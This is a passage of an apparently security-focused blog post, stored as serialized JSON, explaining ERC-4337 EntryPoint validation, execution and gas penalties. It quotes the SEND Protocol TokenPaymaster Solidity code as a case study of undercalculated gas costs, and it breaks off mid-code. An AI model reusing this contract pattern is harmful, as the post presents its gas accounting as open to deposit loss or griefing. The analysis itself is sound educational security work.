",{"type":24,"tag":32,"props":104426,"children":104428},{"className":104427},[],[104429],{"type":29,"value":104093},{"type":29,"value":104431}," move on to actually executing the ",{"type":24,"tag":32,"props":104433,"children":104435},{"className":104434},[],[104436],{"type":29,"value":104012},{"type":29,"value":104438},". This strict validation flow ensures that:",{"type":24,"tag":3207,"props":104440,"children":104441},{},[104442,104447,104452,104457],{"type":24,"tag":3104,"props":104443,"children":104444},{},[104445],{"type":29,"value":104446},"The operation is legitimate and authorized by the user",{"type":24,"tag":3104,"props":104448,"children":104449},{},[104450],{"type":29,"value":104451},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":3104,"props":104453,"children":104454},{},[104455],{"type":29,"value":104456},"The operation cannot be replayed",{"type":24,"tag":3104,"props":104458,"children":104459},{},[104460],{"type":29,"value":104461},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":104463,"children":104464},{},[104465],{"type":29,"value":104466},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":1019,"props":104468,"children":104470},{"id":104469},"execution-phase",[104471],{"type":29,"value":104472},"Execution Phase",{"type":24,"tag":25,"props":104474,"children":104475},{},[104476,104478,104483,104485,104492,104494,104499],{"type":29,"value":104477},"After all operations have passed validation, the ",{"type":24,"tag":32,"props":104479,"children":104481},{"className":104480},[],[104482],{"type":29,"value":104093},{"type":29,"value":104484}," begins the ",{"type":24,"tag":69,"props":104486,"children":104489},{"href":104487,"rel":104488},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[73],[104490],{"type":29,"value":104491},"execution",{"type":29,"value":104493}," phase, processing each ",{"type":24,"tag":32,"props":104495,"children":104497},{"className":104496},[],[104498],{"type":29,"value":104012},{"type":29,"value":104500}," individually. For each operation, the flow is:",{"type":24,"tag":3100,"props":104502,"children":104503},{},[104504,104564,104610],{"type":24,"tag":3104,"props":104505,"children":104506},{},[104507,104508,104513,104515,104521,104522,104528,104530],{"type":29,"value":3131},{"type":24,"tag":32,"props":104509,"children":104511},{"className":104510},[],[104512],{"type":29,"value":104093},{"type":29,"value":104514}," makes a ",{"type":24,"tag":69,"props":104516,"children":104519},{"href":104517,"rel":104518},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[73],[104520],{"type":29,"value":40112},{"type":29,"value":58601},{"type":24,"tag":32,"props":104523,"children":104525},{"className":104524},[],[104526],{"type":29,"value":104527},"innerHandleOp()",{"type":29,"value":104529},", which:\n",{"type":24,"tag":3207,"props":104531,"children":104532},{},[104533,104545,104550],{"type":24,"tag":3104,"props":104534,"children":104535},{},[104536,104543],{"type":24,"tag":69,"props":104537,"children":104540},{"href":104538,"rel":104539},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[73],[104541],{"type":29,"value":104542},"Forwards",{"type":29,"value":104544}," the operation to the sender's smart account contract",{"type":24,"tag":3104,"props":104546,"children":104547},{},[104548],{"type":29,"value":104549},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":3104,"props":104551,"children":104552},{},[104553,104555,104562],{"type":29,"value":104554},"Handles ",{"type":24,"tag":69,"props":104556,"children":104559},{"href":104557,"rel":104558},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[73],[104560],{"type":29,"value":104561},"post-execution",{"type":29,"value":104563}," tasks and cleanup",{"type":24,"tag":3104,"props":104565,"children":104566},{},[104567,104569,104575,104577,104583,104584,104590,104592],{"type":29,"value":104568},"If a paymaster was used, ",{"type":24,"tag":32,"props":104570,"children":104572},{"className":104571},[],[104573],{"type":29,"value":104574},"Entrypoint",{"type":29,"value":104576}," will ",{"type":24,"tag":69,"props":104578,"children":104581},{"href":104579,"rel":104580},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[73],[104582],{"type":29,"value":40112},{"type":29,"value":2877},{"type":24,"tag":32,"props":104585,"children":104587},{"className":104586},[],[104588],{"type":29,"value":104589},"paymaster.postOp()",{"type":29,"value":104591}," to:\n",{"type":24,"tag":3207,"props":104593,"children":104594},{},[104595,104600,104605],{"type":24,"tag":3104,"props":104596,"children":104597},{},[104598],{"type":29,"value":104599},"Allow paymaster to finalize its accounting",{"type":24,"tag":3104,"props":104601,"children":104602},{},[104603],{"type":29,"value":104604},"Process any refunds or additional charges",{"type":24,"tag":3104,"props":104606,"children":104607},{},[104608],{"type":29,"value":104609},"Complete any paymaster-specific logic",{"type":24,"tag":3104,"props":104611,"children":104612},{},[104613,104615,104620,104621,104628,104630],{"type":29,"value":104614},"Finally, after all operations are processed, the ",{"type":24,"tag":32,"props":104616,"children":104618},{"className":104617},[],[104619],{"type":29,"value":104093},{"type":29,"value":2877},{"type":24,"tag":69,"props":104622,"children":104625},{"href":104623,"rel":104624},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[73],[104626],{"type":29,"value":104627},"compensates",{"type":29,"value":104629}," the bundler for:\n",{"type":24,"tag":3207,"props":104631,"children":104632},{},[104633,104638,104643],{"type":24,"tag":3104,"props":104634,"children":104635},{},[104636],{"type":29,"value":104637},"Gas costs from executing all operations",{"type":24,"tag":3104,"props":104639,"children":104640},{},[104641],{"type":29,"value":104642},"Overhead from submitting the batch transaction",{"type":24,"tag":3104,"props":104644,"children":104645},{},[104646],{"type":29,"value":104647},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":104649,"children":104650},{},[104651],{"type":29,"value":104652},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":25,"props":104654,"children":104655},{},[104656,104658,104663,104665,104671,104673,104678],{"type":29,"value":104657},"Now that we understand how the ",{"type":24,"tag":32,"props":104659,"children":104661},{"className":104660},[],[104662],{"type":29,"value":104093},{"type":29,"value":104664}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":32,"props":104666,"children":104668},{"className":104667},[],[104669],{"type":29,"value":104670},"paymasters",{"type":29,"value":104672}," that align with the ",{"type":24,"tag":32,"props":104674,"children":104676},{"className":104675},[],[104677],{"type":29,"value":104093},{"type":29,"value":104679},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":37188,"props":104681,"children":104683},{"id":104682},"common-pitfalls-in-paymaster-implementation",[104684],{"type":29,"value":104685},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":104687,"children":104688},{},[104689,104691,104696],{"type":29,"value":104690},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":32,"props":104692,"children":104694},{"className":104693},[],[104695],{"type":29,"value":104093},{"type":29,"value":104697}," to exploitation or griefing.",{"type":24,"tag":25,"props":104699,"children":104700},{},[104701,104703,104708],{"type":29,"value":104702},"In this section, we’ll walk through the ",{"type":24,"tag":7711,"props":104704,"children":104705},{},[104706],{"type":29,"value":104707},"two most common pitfalls",{"type":29,"value":104709}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":850,"props":104711,"children":104713},{"id":104712},"undercalculated-gas-costs",[104714],{"type":24,"tag":7711,"props":104715,"children":104716},{},[104717],{"type":29,"value":104718},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":104720,"children":104721},{},[104722,104724,104729,104731,104736,104738,104743,104745,104752],{"type":29,"value":104723},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":32,"props":104725,"children":104727},{"className":104726},[],[104728],{"type":29,"value":104093},{"type":29,"value":104730},". When a ",{"type":24,"tag":32,"props":104732,"children":104734},{"className":104733},[],[104735],{"type":29,"value":104012},{"type":29,"value":104737}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":32,"props":104739,"children":104741},{"className":104740},[],[104742],{"type":29,"value":104093},{"type":29,"value":104744}," charges a ",{"type":24,"tag":69,"props":104746,"children":104749},{"href":104747,"rel":104748},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[73],[104750],{"type":29,"value":104751},"penalty of 10%",{"type":29,"value":104753}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":104755,"children":104756},{},[104757],{"type":29,"value":104758},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":80,"props":104760,"children":104762},{"className":6861,"code":104761,"language":6860,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[104763],{"type":24,"tag":32,"props":104764,"children":104765},{"__ignoreMap":7},[104766,104810,104817,104874,104882,104890,104932,104939,104951,104973,104994,105024,105075,105105,105126,105164,105203,105220,105259,105283,105300,105343,105365,105382,105399,105406,105413,105439,105456,105491,105522,105534,105581,105588,105595,105602,105669,105676,105683,105690,105701,105720,105739,105803,105826,105859,105874,105909,105917,105956,105981,106002,106010,106037,106064,106072,106080,106122,106129,106136,106160,106176,106183,106190,106208,106221,106228,106236],{"type":24,"tag":90,"props":104767,"children":104768},{"class":92,"line":93},[104769,104773,104778,104783,104788,104792,104797,104801,104806],{"type":24,"tag":90,"props":104770,"children":104771},{"style":97},[104772],{"type":29,"value":91644},{"type":24,"tag":90,"props":104774,"children":104775},{"style":146},[104776],{"type":29,"value":104777}," TokenPaymaster",{"type":24,"tag":90,"props":104779,"children":104780},{"style":97},[104781],{"type":29,"value":104782}," is",{"type":24,"tag":90,"props":104784,"children":104785},{"style":146},[104786],{"type":29,"value":104787}," BasePaymaster",{"type":24,"tag":90,"props":104789,"children":104790},{"style":114},[104791],{"type":29,"value":133},{"type":24,"tag":90,"props":104793,"children":104794},{"style":146},[104795],{"type":29,"value":104796},"UniswapHelper",{"type":24,"tag":90,"props":104798,"children":104799},{"style":114},[104800],{"type":29,"value":133},{"type":24,"tag":90,"props":104802,"children":104803},{"style":146},[104804],{"type":29,"value":104805},"OracleHelper",{"type":24,"tag":90,"props":104807,"children":104808},{"style":114},[104809],{"type":29,"value":269},{"type":24,"tag":90,"props":104811,"children":104812},{"class":92,"line":200},[104813],{"type":24,"tag":90,"props":104814,"children":104815},{"style":114},[104816],{"type":29,"value":12686},{"type":24,"tag":90,"props":104818,"children":104819},{"class":92,"line":239},[104820,104824,104829,104833,104838,104843,104848,104852,104857,104861,104865,104870],{"type":24,"tag":90,"props":104821,"children":104822},{"style":97},[104823],{"type":29,"value":91661},{"type":24,"tag":90,"props":104825,"children":104826},{"style":108},[104827],{"type":29,"value":104828}," _validatePaymasterUserOp",{"type":24,"tag":90,"props":104830,"children":104831},{"style":114},[104832],{"type":29,"value":117},{"type":24,"tag":90,"props":104834,"children":104835},{"style":97},[104836],{"type":29,"value":104837},"PackedUserOperation",{"type":24,"tag":90,"props":104839,"children":104840},{"style":97},[104841],{"type":29,"value":104842}," calldata",{"type":24,"tag":90,"props":104844,"children":104845},{"style":136},[104846],{"type":29,"value":104847}," userOp",{"type":24,"tag":90,"props":104849,"children":104850},{"style":114},[104851],{"type":29,"value":133},{"type":24,"tag":90,"props":104853,"children":104854},{"style":146},[104855],{"type":29,"value":104856},"bytes32",{"type":24,"tag":90,"props":104858,"children":104859},{"style":114},[104860],{"type":29,"value":133},{"type":24,"tag":90,"props":104862,"children":104863},{"style":146},[104864],{"type":29,"value":47990},{"type":24,"tag":90,"props":104866,"children":104867},{"style":136},[104868],{"type":29,"value":104869}," requiredPreFund",{"type":24,"tag":90,"props":104871,"children":104872},{"style":114},[104873],{"type":29,"value":1686},{"type":24,"tag":90,"props":104875,"children":104876},{"class":92,"line":248},[104877],{"type":24,"tag":90,"props":104878,"children":104879},{"style":97},[104880],{"type":29,"value":104881}," internal\n",{"type":24,"tag":90,"props":104883,"children":104884},{"class":92,"line":258},[104885],{"type":24,"tag":90,"props":104886,"children":104887},{"style":97},[104888],{"type":29,"value":104889}," override\n",{"type":24,"tag":90,"props":104891,"children":104892},{"class":92,"line":272},[104893,104898,104902,104906,104911,104915,104919,104923,104928],{"type":24,"tag":90,"props":104894,"children":104895},{"style":636},[104896],{"type":29,"value":104897}," returns",{"type":24,"tag":90,"props":104899,"children":104900},{"style":114},[104901],{"type":29,"value":1151},{"type":24,"tag":90,"props":104903,"children":104904},{"style":146},[104905],{"type":29,"value":85658},{"type":24,"tag":90,"props":104907,"children":104908},{"style":97},[104909],{"type":29,"value":104910}," memory",{"type":24,"tag":90,"props":104912,"children":104913},{"style":136},[104914],{"type":29,"value":78170},{"type":24,"tag":90,"props":104916,"children":104917},{"style":114},[104918],{"type":29,"value":133},{"type":24,"tag":90,"props":104920,"children":104921},{"style":146},[104922],{"type":29,"value":47990},{"type":24,"tag":90,"props":104924,"children":104925},{"style":136},[104926],{"type":29,"value":104927}," validationResult",{"type":24,"tag":90,"props":104929,"children":104930},{"style":114},[104931],{"type":29,"value":1686},{"type":24,"tag":90,"props":104933,"children":104934},{"class":92,"line":281},[104935],{"type":24,"tag":90,"props":104936,"children":104937},{"style":114},[104938],{"type":29,"value":30998},{"type":24,"tag":90,"props":104940,"children":104941},{"class":92,"line":384},[104942,104947],{"type":24,"tag":90,"props":104943,"children":104944},{"style":636},[104945],{"type":29,"value":104946}," unchecked",{"type":24,"tag":90,"props":104948,"children":104949},{"style":114},[104950],{"type":29,"value":269},{"type":24,"tag":90,"props":104952,"children":104953},{"class":92,"line":420},[104954,104959,104964,104968],{"type":24,"tag":90,"props":104955,"children":104956},{"style":146},[104957],{"type":29,"value":104958}," uint256",{"type":24,"tag":90,"props":104960,"children":104961},{"style":114},[104962],{"type":29,"value":104963}," priceMarkup ",{"type":24,"tag":90,"props":104965,"children":104966},{"style":120},[104967],{"type":29,"value":5491},{"type":24,"tag":90,"props":104969,"children":104970},{"style":114},[104971],{"type":29,"value":104972}," tokenPaymasterConfig.priceMarkup;\n",{"type":24,"tag":90,"props":104974,"children":104975},{"class":92,"line":428},[104976,104980,104985,104989],{"type":24,"tag":90,"props":104977,"children":104978},{"style":146},[104979],{"type":29,"value":104958},{"type":24,"tag":90,"props":104981,"children":104982},{"style":114},[104983],{"type":29,"value":104984}," baseFee ",{"type":24,"tag":90,"props":104986,"children":104987},{"style":120},[104988],{"type":29,"value":5491},{"type":24,"tag":90,"props":104990,"children":104991},{"style":114},[104992],{"type":29,"value":104993}," tokenPaymasterConfig.baseFee;\n",{"type":24,"tag":90,"props":104995,"children":104996},{"class":92,"line":437},[104997,105001,105006,105010,105015,105019],{"type":24,"tag":90,"props":104998,"children":104999},{"style":146},[105000],{"type":29,"value":104958},{"type":24,"tag":90,"props":105002,"children":105003},{"style":114},[105004],{"type":29,"value":105005}," dataLength ",{"type":24,"tag":90,"props":105007,"children":105008},{"style":120},[105009],{"type":29,"value":5491},{"type":24,"tag":90,"props":105011,"children":105012},{"style":114},[105013],{"type":29,"value":105014}," userOp.paymasterAndData.length ",{"type":24,"tag":90,"props":105016,"children":105017},{"style":120},[105018],{"type":29,"value":346},{"type":24,"tag":90,"props":105020,"children":105021},{"style":114},[105022],{"type":29,"value":105023}," PAYMASTER_DATA_OFFSET;\n",{"type":24,"tag":90,"props":105025,"children":105026},{"class":92,"line":574},[105027,105032,105037,105041,105045,105049,105053,105057,105062,105066,105071],{"type":24,"tag":90,"props":105028,"children":105029},{"style":636},[105030],{"type":29,"value":105031}," require",{"type":24,"tag":90,"props":105033,"children":105034},{"style":114},[105035],{"type":29,"value":105036},"(dataLength ",{"type":24,"tag":90,"props":105038,"children":105039},{"style":120},[105040],{"type":29,"value":10951},{"type":24,"tag":90,"props":105042,"children":105043},{"style":349},[105044],{"type":29,"value":5448},{"type":24,"tag":90,"props":105046,"children":105047},{"style":120},[105048],{"type":29,"value":25505},{"type":24,"tag":90,"props":105050,"children":105051},{"style":114},[105052],{"type":29,"value":105005},{"type":24,"tag":90,"props":105054,"children":105055},{"style":120},[105056],{"type":29,"value":10951},{"type":24,"tag":90,"props":105058,"children":105059},{"style":349},[105060],{"type":29,"value":105061}," 32",{"type":24,"tag":90,"props":105063,"children":105064},{"style":114},[105065],{"type":29,"value":133},{"type":24,"tag":90,"props":105067,"children":105068},{"style":1085},[105069],{"type":29,"value":105070},"\"TPM: invalid data length\"",{"type":24,"tag":90,"props":105072,"children":105073},{"style":114},[105074],{"type":29,"value":571},{"type":24,"tag":90,"props":105076,"children":105077},{"class":92,"line":606},[105078,105082,105087,105091,105096,105101],{"type":24,"tag":90,"props":105079,"children":105080},{"style":146},[105081],{"type":29,"value":104958},{"type":24,"tag":90,"props":105083,"children":105084},{"style":114},[105085],{"type":29,"value":105086}," maxFeePerGas ",{"type":24,"tag":90,"props":105088,"children":105089},{"style":120},[105090],{"type":29,"value":5491},{"type":24,"tag":90,"props":105092,"children":105093},{"style":114},[105094],{"type":29,"value":105095}," userOp.",{"type":24,"tag":90,"props":105097,"children":105098},{"style":108},[105099],{"type":29,"value":105100},"unpackMaxFeePerGas",{"type":24,"tag":90,"props":105102,"children":105103},{"style":114},[105104],{"type":29,"value":236},{"type":24,"tag":90,"props":105106,"children":105107},{"class":92,"line":615},[105108,105112,105117,105121],{"type":24,"tag":90,"props":105109,"children":105110},{"style":146},[105111],{"type":29,"value":104958},{"type":24,"tag":90,"props":105113,"children":105114},{"style":114},[105115],{"type":29,"value":105116}," refundPostopCost ",{"type":24,"tag":90,"props":105118,"children":105119},{"style":120},[105120],{"type":29,"value":5491},{"type":24,"tag":90,"props":105122,"children":105123},{"style":114},[105124],{"type":29,"value":105125}," tokenPaymasterConfig.refundPostopCost;\n",{"type":24,"tag":90,"props":105127,"children":105128},{"class":92,"line":623},[105129,105133,105138,105142,105146,105151,105155,105160],{"type":24,"tag":90,"props":105130,"children":105131},{"style":636},[105132],{"type":29,"value":105031},{"type":24,"tag":90,"props":105134,"children":105135},{"style":114},[105136],{"type":29,"value":105137},"(refundPostopCost ",{"type":24,"tag":90,"props":105139,"children":105140},{"style":120},[105141],{"type":29,"value":1575},{"type":24,"tag":90,"props":105143,"children":105144},{"style":114},[105145],{"type":29,"value":105095},{"type":24,"tag":90,"props":105147,"children":105148},{"style":108},[105149],{"type":29,"value":105150},"unpackPostOpGasLimit",{"type":24,"tag":90,"props":105152,"children":105153},{"style":114},[105154],{"type":29,"value":4900},{"type":24,"tag":90,"props":105156,"children":105157},{"style":1085},[105158],{"type":29,"value":105159},"\"TPM: postOpGasLimit too low\"",{"type":24,"tag":90,"props":105161,"children":105162},{"style":114},[105163],{"type":29,"value":571},{"type":24,"tag":90,"props":105165,"children":105166},{"class":92,"line":632},[105167,105171,105176,105180,105185,105189,105194,105198],{"type":24,"tag":90,"props":105168,"children":105169},{"style":146},[105170],{"type":29,"value":104958},{"type":24,"tag":90,"props":105172,"children":105173},{"style":114},[105174],{"type":29,"value":105175}," preChargeNative ",{"type":24,"tag":90,"props":105177,"children":105178},{"style":120},[105179],{"type":29,"value":5491},{"type":24,"tag":90,"props":105181,"children":105182},{"style":114},[105183],{"type":29,"value":105184}," requiredPreFund ",{"type":24,"tag":90,"props":105186,"children":105187},{"style":120},[105188],{"type":29,"value":6767},{"type":24,"tag":90,"props":105190,"children":105191},{"style":114},[105192],{"type":29,"value":105193}," (refundPostopCost ",{"type":24,"tag":90,"props":105195,"children":105196},{"style":120},[105197],{"type":29,"value":983},{"type":24,"tag":90,"props":105199,"children":105200},{"style":114},[105201],{"type":29,"value":105202}," maxFeePerGas);\n",{"type":24,"tag":90,"props":105204,"children":105205},{"class":92,"line":669},[105206,105211,105215],{"type":24,"tag":90,"props":105207,"children":105208},{"style":252},[105209],{"type":29,"value":105210}," // ",{"type":24,"tag":90,"props":105212,"children":105213},{"style":97},[105214],{"type":29,"value":68586},{"type":24,"tag":90,"props":105216,"children":105217},{"style":252},[105218],{"type":29,"value":105219},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":24,"tag":90,"props":105221,"children":105222},{"class":92,"line":683},[105223,105227,105232,105236,105241,105245,105250,105254],{"type":24,"tag":90,"props":105224,"children":105225},{"style":146},[105226],{"type":29,"value":104958},{"type":24,"tag":90,"props":105228,"children":105229},{"style":114},[105230],{"type":29,"value":105231}," cachedPriceWithMarkup ",{"type":24,"tag":90,"props":105233,"children":105234},{"style":120},[105235],{"type":29,"value":5491},{"type":24,"tag":90,"props":105237,"children":105238},{"style":114},[105239],{"type":29,"value":105240}," cachedPrice ",{"type":24,"tag":90,"props":105242,"children":105243},{"style":120},[105244],{"type":29,"value":983},{"type":24,"tag":90,"props":105246,"children":105247},{"style":114},[105248],{"type":29,"value":105249}," DENOM ",{"type":24,"tag":90,"props":105251,"children":105252},{"style":120},[105253],{"type":29,"value":6966},{"type":24,"tag":90,"props":105255,"children":105256},{"style":114},[105257],{"type":29,"value":105258}," priceMarkup;\n",{"type":24,"tag":90,"props":105260,"children":105261},{"class":92,"line":737},[105262,105266,105271,105275,105279],{"type":24,"tag":90,"props":105263,"children":105264},{"style":636},[105265],{"type":29,"value":60626},{"type":24,"tag":90,"props":105267,"children":105268},{"style":114},[105269],{"type":29,"value":105270}," (dataLength ",{"type":24,"tag":90,"props":105272,"children":105273},{"style":120},[105274],{"type":29,"value":10951},{"type":24,"tag":90,"props":105276,"children":105277},{"style":349},[105278],{"type":29,"value":105061},{"type":24,"tag":90,"props":105280,"children":105281},{"style":114},[105282],{"type":29,"value":1297},{"type":24,"tag":90,"props":105284,"children":105285},{"class":92,"line":751},[105286,105291,105296],{"type":24,"tag":90,"props":105287,"children":105288},{"style":146},[105289],{"type":29,"value":105290}," uint256",{"type":24,"tag":90,"props":105292,"children":105293},{"style":114},[105294],{"type":29,"value":105295}," clientSuppliedPrice ",{"type":24,"tag":90,"props":105297,"children":105298},{"style":120},[105299],{"type":29,"value":1183},{"type":24,"tag":90,"props":105301,"children":105302},{"class":92,"line":782},[105303,105308,105312,105316,105321,105325,105330,105334,105338],{"type":24,"tag":90,"props":105304,"children":105305},{"style":146},[105306],{"type":29,"value":105307}," uint256",{"type":24,"tag":90,"props":105309,"children":105310},{"style":114},[105311],{"type":29,"value":117},{"type":24,"tag":90,"props":105313,"children":105314},{"style":146},[105315],{"type":29,"value":104856},{"type":24,"tag":90,"props":105317,"children":105318},{"style":114},[105319],{"type":29,"value":105320},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":24,"tag":90,"props":105322,"children":105323},{"style":120},[105324],{"type":29,"value":78},{"type":24,"tag":90,"props":105326,"children":105327},{"style":114},[105328],{"type":29,"value":105329},"PAYMASTER_DATA_OFFSET ",{"type":24,"tag":90,"props":105331,"children":105332},{"style":120},[105333],{"type":29,"value":6767},{"type":24,"tag":90,"props":105335,"children":105336},{"style":349},[105337],{"type":29,"value":105061},{"type":24,"tag":90,"props":105339,"children":105340},{"style":114},[105341],{"type":29,"value":105342},"]));\n",{"type":24,"tag":90,"props":105344,"children":105345},{"class":92,"line":791},[105346,105351,105356,105360],{"type":24,"tag":90,"props":105347,"children":105348},{"style":636},[105349],{"type":29,"value":105350}," if",{"type":24,"tag":90,"props":105352,"children":105353},{"style":114},[105354],{"type":29,"value":105355}," (clientSuppliedPrice ",{"type":24,"tag":90,"props":105357,"children":105358},{"style":120},[105359],{"type":29,"value":1575},{"type":24,"tag":90,"props":105361,"children":105362},{"style":114},[105363],{"type":29,"value":105364}," cachedPriceWithMarkup) {\n",{"type":24,"tag":90,"props":105366,"children":105367},{"class":92,"line":799},[105368,105373,105377],{"type":24,"tag":90,"props":105369,"children":105370},{"style":252},[105371],{"type":29,"value":105372}," // ",{"type":24,"tag":90,"props":105374,"children":105375},{"style":97},[105376],{"type":29,"value":68586},{"type":24,"tag":90,"props":105378,"children":105379},{"style":252},[105380],{"type":29,"value":105381},": smaller number means 'more native asset per token'\n",{"type":24,"tag":90,"props":105383,"children":105384},{"class":92,"line":807},[105385,105390,105394],{"type":24,"tag":90,"props":105386,"children":105387},{"style":114},[105388],{"type":29,"value":105389}," cachedPriceWithMarkup ",{"type":24,"tag":90,"props":105391,"children":105392},{"style":120},[105393],{"type":29,"value":5491},{"type":24,"tag":90,"props":105395,"children":105396},{"style":114},[105397],{"type":29,"value":105398}," clientSuppliedPrice;\n",{"type":24,"tag":90,"props":105400,"children":105401},{"class":92,"line":821},[105402],{"type":24,"tag":90,"props":105403,"children":105404},{"style":114},[105405],{"type":29,"value":72899},{"type":24,"tag":90,"props":105407,"children":105408},{"class":92,"line":6278},[105409],{"type":24,"tag":90,"props":105410,"children":105411},{"style":114},[105412],{"type":29,"value":60710},{"type":24,"tag":90,"props":105414,"children":105415},{"class":92,"line":11420},[105416,105420,105425,105429,105434],{"type":24,"tag":90,"props":105417,"children":105418},{"style":146},[105419],{"type":29,"value":104958},{"type":24,"tag":90,"props":105421,"children":105422},{"style":114},[105423],{"type":29,"value":105424}," tokenAmount ",{"type":24,"tag":90,"props":105426,"children":105427},{"style":120},[105428],{"type":29,"value":5491},{"type":24,"tag":90,"props":105430,"children":105431},{"style":108},[105432],{"type":29,"value":105433}," weiToToken",{"type":24,"tag":90,"props":105435,"children":105436},{"style":114},[105437],{"type":29,"value":105438},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":90,"props":105440,"children":105441},{"class":92,"line":11438},[105442,105447,105451],{"type":24,"tag":90,"props":105443,"children":105444},{"style":114},[105445],{"type":29,"value":105446}," tokenAmount ",{"type":24,"tag":90,"props":105448,"children":105449},{"style":120},[105450],{"type":29,"value":70265},{"type":24,"tag":90,"props":105452,"children":105453},{"style":114},[105454],{"type":29,"value":105455}," baseFee;\n",{"type":24,"tag":90,"props":105457,"children":105458},{"class":92,"line":11483},[105459,105464,105469,105474,105478,105482,105486],{"type":24,"tag":90,"props":105460,"children":105461},{"style":114},[105462],{"type":29,"value":105463}," SafeERC20.",{"type":24,"tag":90,"props":105465,"children":105466},{"style":108},[105467],{"type":29,"value":105468},"safeTransferFrom",{"type":24,"tag":90,"props":105470,"children":105471},{"style":114},[105472],{"type":29,"value":105473},"(token, userOp.sender, 